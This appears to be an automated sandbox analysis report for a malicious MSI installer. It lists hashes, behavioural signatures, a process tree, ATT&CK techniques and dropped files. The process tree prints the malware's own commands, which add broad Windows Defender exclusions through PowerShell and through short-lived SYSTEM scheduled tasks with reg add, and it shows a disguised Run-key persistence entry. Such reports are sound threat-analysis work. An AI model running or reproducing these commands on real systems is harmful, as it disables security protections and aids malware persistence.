Analysis
- max time kernel
147s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/07/2026, 02:45
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_mal004.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_mal004.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_mal004.msi
- Size 7.7MB
- Sample260731-c856qasckd
- SHA256 48e5f3a7e00804cc54864bace27377fbe1dbcf462c1b2c44c9d78fc4d5ab9358
- MD5 c2b71df1e7fe14521c46d8944a71ab97
- SHA1 68d8c1767c865aba54e9016d99dabe893a27537f
- SHA512 00fd80bc6aa6dd244f64e24f413fcb7633284ec47dd8d43af0e844401332cc3fb7e1d3f30d0064bff1b6777893f189cf2e522fd05579537760a7cd4d6da331f9
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEl:yPKfBIe9y66qJ4CYmzrK
- TLSH T1798633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3328 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 564 G8LwhD.exe - Loads dropped DLL 2 IoCs
pid Process 2476 MsiExec.exe 564 G8LwhD.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nR0yzj\\G8LwhD.exe\"" G8LwhD.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 2476 MsiExec.exe 13 2476 MsiExec.exe 14 2476 MsiExec.exe 15 2476 MsiExec.exe 17 2476 MsiExec.exe 18 2476 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5788 cmd.exe 5756 cmd.exe 5384 cmd.exe 4424 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b G8LwhD.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e59864d.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF119EE1FD8B7BC50A.TMP msiexec.exe File created C:\Windows\Installer\e59864f.msi msiexec.exe File created C:\Windows\SystemTemp\~DF640CCF913A4DEEA4.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFB66A573AF133F388.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59864d.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DFD953D04EEB5CB208.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe File opened for modification C:\Windows\Installer\MSI8D52.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8E1E.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2996 msiexec.exe - Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1160 cmd.exe 1852 cmd.exe 4448 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000067831fc6f5c7bf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380167831fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410167831fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e367831fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e667831fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal004.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "DE76FCE7A6113F248A671CD22B5F78ED" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 200 schtasks.exe 1144 schtasks.exe 1504 schtasks.exe 2552 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6080 msiexec.exe 6080 msiexec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 2476 MsiExec.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe 564 G8LwhD.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2996 msiexec.exe Token: SeIncreaseQuotaPrivilege 2996 msiexec.exe Token: SeSecurityPrivilege 6080 msiexec.exe Token: SeCreateTokenPrivilege 2996 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2996 msiexec.exe Token: SeLockMemoryPrivilege 2996 msiexec.exe Token: SeIncreaseQuotaPrivilege 2996 msiexec.exe Token: SeMachineAccountPrivilege 2996 msiexec.exe Token: SeTcbPrivilege 2996 msiexec.exe Token: SeSecurityPrivilege 2996 msiexec.exe Token: SeTakeOwnershipPrivilege 2996 msiexec.exe Token: SeLoadDriverPrivilege 2996 msiexec.exe Token: SeSystemProfilePrivilege 2996 msiexec.exe Token: SeSystemtimePrivilege 2996 msiexec.exe Token: SeProfSingleProcessPrivilege 2996 msiexec.exe Token: SeIncBasePriorityPrivilege 2996 msiexec.exe Token: SeCreatePagefilePrivilege 2996 msiexec.exe Token: SeCreatePermanentPrivilege 2996 msiexec.exe Token: SeBackupPrivilege 2996 msiexec.exe Token: SeRestorePrivilege 2996 msiexec.exe Token: SeShutdownPrivilege 2996 msiexec.exe Token: SeDebugPrivilege 2996 msiexec.exe Token: SeAuditPrivilege 2996 msiexec.exe Token: SeSystemEnvironmentPrivilege 2996 msiexec.exe Token: SeChangeNotifyPrivilege 2996 msiexec.exe Token: SeRemoteShutdownPrivilege 2996 msiexec.exe Token: SeUndockPrivilege 2996 msiexec.exe Token: SeSyncAgentPrivilege 2996 msiexec.exe Token: SeEnableDelegationPrivilege 2996 msiexec.exe Token: SeManageVolumePrivilege 2996 msiexec.exe Token: SeImpersonatePrivilege 2996 msiexec.exe Token: SeCreateGlobalPrivilege 2996 msiexec.exe Token: SeBackupPrivilege 3312 vssvc.exe Token: SeRestorePrivilege 3312 vssvc.exe Token: SeAuditPrivilege 3312 vssvc.exe Token: SeBackupPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeBackupPrivilege 1600 srtasks.exe Token: SeRestorePrivilege 1600 srtasks.exe Token: SeSecurityPrivilege 1600 srtasks.exe Token: SeTakeOwnershipPrivilege 1600 srtasks.exe Token: SeBackupPrivilege 1600 srtasks.exe Token: SeRestorePrivilege 1600 srtasks.exe Token: SeSecurityPrivilege 1600 srtasks.exe Token: SeTakeOwnershipPrivilege 1600 srtasks.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe Token: SeTakeOwnershipPrivilege 6080 msiexec.exe Token: SeRestorePrivilege 6080 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2996 msiexec.exe 2996 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2996 msiexec.exe 6080 msiexec.exe 2476 MsiExec.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 6080 wrote to memory of 1600 6080 msiexec.exe 94 PID 6080 wrote to memory of 2476 6080 msiexec.exe 96 PID 564 wrote to memory of 3328 564 G8LwhD.exe 100 PID 564 wrote to memory of 5384 564 G8LwhD.exe 101 PID 5384 wrote to memory of 2552 5384 cmd.exe 104 PID 5384 wrote to memory of 1912 5384 cmd.exe 105 PID 5384 wrote to memory of 4620 5384 cmd.exe 109 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal004.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2996
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6080 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 62BD01D0AA78B46410AB1FBF788A95B3 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2476
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3312
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C:\Users\Public\nR0yzj\G8LwhD.exe"C:\Users\Public\nR0yzj\G8LwhD.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nR0yzj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5384 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nR0yzj\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2552
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1912
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4424 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:200
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5976
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3732
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5788 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1144
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4828
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5756 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1504
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nR0yzj" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1160 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nR0yzj" /t REG_DWORD /d 0 /f2⤵PID:2632
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C:\Windows\system32\cmd.execmd.exe1⤵PID:5824
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1852
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4448
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59864e.rbs
- Size 7KB
- SHA256 9ac230bc32d5aa41c9af4c4a8695dae6d1d43aaf60df7e1286f3f807c361b1a4
- MD5 ab28e1f28431271831bb9848fe0f5795
- SHA1 f92a5e6299119d5b196676a059e477e6d6e8689a
- SHA512 52534825be176d24f8b6c98000535cf93f5052bbcc06c47faf55f3d2ea1cd51ba7473f41a2f41dd7141230c623022113b9d3931f72bb79f85fbc21c8f8349113
- SSDEEP 96:9Smhgu0CD3SUUwn0D1CsThqFUwn0D1C6je1Hp/ThqlHm25yeWl0lbwCKpljeAbAp:9SmaCWz40DIIz40DIxjald3KpIZ
- TLSH T1CBF1004676144BF2F8E66B35CB1B176637A2D2E5929433DB1CCD80241FC37982E9868E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nR0yzj\G8LwhD.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\nR0yzj\UxEnhance64.dll
- Size 3.1MB
